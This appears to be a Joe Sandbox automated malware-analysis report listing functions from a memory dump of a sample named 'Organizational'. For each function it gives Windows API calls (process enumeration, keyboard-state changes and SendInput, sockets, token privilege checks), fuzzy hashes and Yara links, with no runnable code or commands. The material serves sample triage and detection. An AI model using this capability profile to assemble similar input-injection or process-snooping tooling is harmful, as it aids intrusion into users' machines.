Opcode Fuzzy Hash: 1886d459d2b279f618e71901546598f6ef2a5e61a55f39acf6a10e23224265e0
Instruction Fuzzy Hash: 7B812971A00109EFCB04DF94C984EEEBBB9FF89715F244558E906AB250DB71AE06DB60

Function 00F4749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F474AC
SysAllocString.OLEAUT32(00000000), ref: 00F47555
VariantCopy.OLEAUT32 ref: 00F47584
VariantClear.OLEAUT32(?), ref: 00F475AB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 8496f96b9dd044766298acde671e64fc05ede13806dfe28634674b5f07b2d4a8
Instruction ID: 71d184251ce1351625edd93162806cc965978489cd0ef7c874128ccf611406be
Opcode Fuzzy Hash: 8496f96b9dd044766298acde671e64fc05ede13806dfe28634674b5f07b2d4a8
Instruction Fuzzy Hash: D551C7316087059FDB20BF799C95B7DBBE6AF44310B20981FE946DB2A1EF749880A705

Function 00F6F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00F6F526
Process32FirstW.KERNEL32(00000000,?), ref: 00F6F534

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Process32NextW.KERNEL32(00000000,?), ref: 00F6F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00F6F603

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 3c08329074e0604211619291f54066c49861cfb2b1e328d421a0cf6a114c75e3
Instruction ID: dfd486ba147704903294e57c453e136f2cefdf90404c637ab8f8bacfb658c999
Opcode Fuzzy Hash: 3c08329074e0604211619291f54066c49861cfb2b1e328d421a0cf6a114c75e3
Instruction Fuzzy Hash: B7517CB1504315AFD310EF20DC86EABB7E8FF94710F40492DF595972A1EB74A908DB92

Function 00F1492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F149C0
__flush.LIBCMT ref: 00F149E0
__write.LIBCMT ref: 00F14A13
__flsbuf.LIBCMT ref: 00F14A41

Part of subcall function 00F18D58: __getptd_noexit.LIBCMT ref: 00F18D58

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 62e90a0ae6989e9b2fd3adcf46092a24103a9395104fa7805bf339e4c6fbc72c
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: B441A431A0070A9BDB28CE69C8909EF77A6AFC5360B24813DE85987640D779BDC1AB44

Function 00F4A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00F4A68A
__itow.LIBCMT ref: 00F4A6BB

Part of subcall function 00F4A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00F4A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00F4A724
__itow.LIBCMT ref: 00F4A77B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 85c1d56637ac7655ac72f66c6c8d27b9dc2bdffde51a2ecf2985d2b5242ad17f
Instruction ID: ff5c6afb24e68e66d8bc2fcfee5570ef239ca7cc6ee48b0f59011e8375d82d19
Opcode Fuzzy Hash: 85c1d56637ac7655ac72f66c6c8d27b9dc2bdffde51a2ecf2985d2b5242ad17f
Instruction Fuzzy Hash: 9D416F74A40209AFDF21EF54CC56BEE7FB9AF48760F040069FD05A3291DB749944EBA2

Function 00F67095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00F670BC
WSAGetLastError.WSOCK32(00000000), ref: 00F670CC

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00F67130
WSAGetLastError.WSOCK32(00000000), ref: 00F6713C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 1352745c6bee9b362acb507adbc48c4ebf8920d86f10aa94f655db353d92d739
Instruction ID: acb31b24e45d788378ba20823bdbd6706097a3521c6a273c8075fca98c352444
Opcode Fuzzy Hash: 1352745c6bee9b362acb507adbc48c4ebf8920d86f10aa94f655db353d92d739
Instruction Fuzzy Hash: CD418EB57402046FEB20BF24DC86F7A77E89B04B14F048558FB59AB3D2DB759D009B91

Function 00F66B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00F80980), ref: 00F66B92
_strlen.LIBCMT ref: 00F66BC4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 22694080d51305944aba13f75ca6b516d28fb73eb23fac47d9d16fb2bab538ff
Instruction ID: 84d14ad82a1dedb0e80050d5586490847635f62ad09c8563d8194e767b7e452b
Opcode Fuzzy Hash: 22694080d51305944aba13f75ca6b516d28fb73eb23fac47d9d16fb2bab538ff
Instruction Fuzzy Hash: 6741C272A00508ABCB14FB64CC81EBEB3A9EF54310F148154F91AE72D2DF34AD41E750

Function 00F78E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00F78F03

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 1f2c51575d134f52cba0ca476d6ec65fe3856510255619c1be1b1447a911a053
Instruction ID: 7a62800478e30d549bac82187196b32390f0d3b63f39541432b6983d0d31ab04
Opcode Fuzzy Hash: 1f2c51575d134f52cba0ca476d6ec65fe3856510255619c1be1b1447a911a053
Instruction Fuzzy Hash: 6331B235A81108AEEB209A54CC8DFEC37A6EB063A0F548503FA19D61A1DF70D952BB53

Function 00F7B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00F7B1D2
GetWindowRect.USER32(?,?), ref: 00F7B248
PtInRect.USER32(?,?,00F7C6BC), ref: 00F7B258
MessageBeep.USER32(00000000), ref: 00F7B2C9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: d98498a344395998f8410ca04d06ed9dccbcb5ccac5a38c1e19f74c664dfa21d
Instruction ID: 4f3c33a48f4f3cafcceffd1972fc85f2a4e81f0ff8b27577dfc4c963f988bfbd
Opcode Fuzzy Hash: d98498a344395998f8410ca04d06ed9dccbcb5ccac5a38c1e19f74c664dfa21d
Instruction Fuzzy Hash: 71415F31A052199FDB12DF58C884BAD77F5FF4A311F1481A6E81C9B252D730E941EF52

Function 00F512D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00F51326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00F51342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00F513A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00F513FA

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 48e60d23ee9659450c8ee3f849538f903760fb54808a642be95d8e42d9931352
Instruction ID: afe9ec454a9e4d13cff405258692ba36597d7ab4a745c0fa27821f7ee23fbd9e
Opcode Fuzzy Hash: 48e60d23ee9659450c8ee3f849538f903760fb54808a642be95d8e42d9931352
Instruction Fuzzy Hash: A3315930D40608AEFB308A258C15BFD7BA5BB45332F08421AEA80525D1D774A94DBB61

Function 00F51410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 00F51465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00F51481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00F514E0
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 00F51532

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: cf306b753462475340976a679336a7b7ed4746a6249aa17ecc02dc9d7954e19d
Instruction ID: f6a1c105be62becb8ab6e42db48d76fa412d6795fe55c78e6fef0c539dfe3a05
Opcode Fuzzy Hash: cf306b753462475340976a679336a7b7ed4746a6249aa17ecc02dc9d7954e19d
Instruction Fuzzy Hash: 0B315C31D4060C5EFF34CA659C04BFABB65BB86332F48431AEE81521D1D778A94DBB61

Function 00F263F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00F2642B
__isleadbyte_l.LIBCMT ref: 00F26459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00F26487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00F264BD

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e66153e740d9326f05f994ad001303581753223d5bd98fb2f359472bde504e40
Instruction ID: df3c7f180b5478793bd1c1a537c42a0fd706bf1f31cae6cdce55cb17f4613811
Opcode Fuzzy Hash: e66153e740d9326f05f994ad001303581753223d5bd98fb2f359472bde504e40
Instruction Fuzzy Hash: A531B031A00266AFDB21EF65EC44BBA7BA5FF40320F154569F8A4C7191DB31E990FB90

Function 00F7552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00F7553F

Part of subcall function 00F53B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00F53B4E
Part of subcall function 00F53B34: GetCurrentThreadId.KERNEL32 ref: 00F53B55
Part of subcall function 00F53B34: AttachThreadInput.USER32(00000000,?,00F555C0), ref: 00F53B5C

GetCaretPos.USER32(?), ref: 00F75550
ClientToScreen.USER32(00000000,?), ref: 00F7558B
GetForegroundWindow.USER32 ref: 00F75591

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: ee7eae267898c65e6029b1515f004c2cc565fdc7df84eb6e01194aa64e23be95
Instruction ID: 20b5e1fe69b1324bc4ec25ab75490616439e08eb277526ba2187b60b2ad09f39
Opcode Fuzzy Hash: ee7eae267898c65e6029b1515f004c2cc565fdc7df84eb6e01194aa64e23be95
Instruction Fuzzy Hash: 34310FB190010CAFDB00EFA5DC85DEFB7F9EF94704F10406AE915E7241DA75AE449BA1

Function 00F7CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

GetCursorPos.USER32(?), ref: 00F7CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00F2BCEC,?,?,?,?,?), ref: 00F7CB8F
GetCursorPos.USER32(?), ref: 00F7CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00F2BCEC,?,?,?), ref: 00F7CC16

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 704c449d100c920cfafeb1290b2f456df58af83c24ae0f8a3b35e8ae4b2ced62
Instruction ID: 8080e4596849088542096198b8649b6917f11c2ddd6e0dc8209d1435d8421301
Opcode Fuzzy Hash: 704c449d100c920cfafeb1290b2f456df58af83c24ae0f8a3b35e8ae4b2ced62
Instruction Fuzzy Hash: 3B31D535600118AFCB159F98CC99EFA7BF5EB89320F14809AF9099B261C7319D50FFA1

Function 00F10BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00F10BE2

Part of subcall function 00F0402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00F57E51,?,?,00000000), ref: 00F04041
Part of subcall function 00F0402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00F57E51,?,?,00000000,?,?), ref: 00F04065

_fprintf.LIBCMT ref: 00F10C19
OutputDebugStringW.KERNEL32(?), ref: 00F4694C

Part of subcall function 00F14CCA: _flsall.LIBCMT ref: 00F14CE3

__setmode.LIBCMT ref: 00F10C4E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 8f6aad49b644a796bd7bc2f3dbbea14187ce8a68bea175fbddb73f0f1374f81d
Instruction ID: b306ece5d532e440f254ab619b76000989c41cd442ff61cf45282f8457f749cf
Opcode Fuzzy Hash: 8f6aad49b644a796bd7bc2f3dbbea14187ce8a68bea175fbddb73f0f1374f81d
Instruction Fuzzy Hash: 5611E772A041087AD708B7A4AC46AFE7B6D9F81321F140155F604A71C2DF6A69C67BE1

Function 00F49274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00F48D3F
Part of subcall function 00F48D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D49
Part of subcall function 00F48D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D58
Part of subcall function 00F48D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D5F
Part of subcall function 00F48D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F48D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00F492C1
_memcmp.LIBCMT ref: 00F492E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F4931A
HeapFree.KERNEL32(00000000), ref: 00F49321

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: a2640902c5df91e9caa72d34f7e01109f6a7b9c99758d7a437b793e7bd1ae0c3
Instruction ID: 9a5974710821b8b27e38f2b53e30831bb87089fa2317775b86fdbeb60d006eec
Opcode Fuzzy Hash: a2640902c5df91e9caa72d34f7e01109f6a7b9c99758d7a437b793e7bd1ae0c3
Instruction Fuzzy Hash: F0219D32E44108EFDB10DFA4C949BFEBBB8FF45311F044059E884A7291D7B5AA05EBA0

Function 00F7634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00F763BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00F763D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00F763E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00F763F3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 520cfab263eb88e00cf3c068c569640c474e76b92acf93a4089f48f7b69c2bda
Instruction ID: 4cf4e6fc4ba4591252b65e3b25be1b1f698562f4434f5ebc9c7a7a4aa6ddf1ca
Opcode Fuzzy Hash: 520cfab263eb88e00cf3c068c569640c474e76b92acf93a4089f48f7b69c2bda
Instruction Fuzzy Hash: 3711E632305918AFD744AB24CC45FBA7799EF85320F188119FA1ADB3D2CB61AD00DB95

Function 00F4E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00F4E46F,?,?,?,00F4F262,00000000,000000EF,00000119,?,?), ref: 00F4F867
Part of subcall function 00F4F858: lstrcpyW.KERNEL32(00000000,?,?,00F4E46F,?,?,?,00F4F262,00000000,000000EF,00000119,?,?,00000000), ref: 00F4F88D
Part of subcall function 00F4F858: lstrcmpiW.KERNEL32(00000000,?,00F4E46F,?,?,?,00F4F262,00000000,000000EF,00000119,?,?), ref: 00F4F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00F4F262,00000000,000000EF,00000119,?,?,00000000), ref: 00F4E488
lstrcpyW.KERNEL32(00000000,?,?,00F4F262,00000000,000000EF,00000119,?,?,00000000), ref: 00F4E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00F4F262,00000000,000000EF,00000119,?,?,00000000), ref: 00F4E4E2

Strings

cdecl, xrefs: 00F4E4D9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
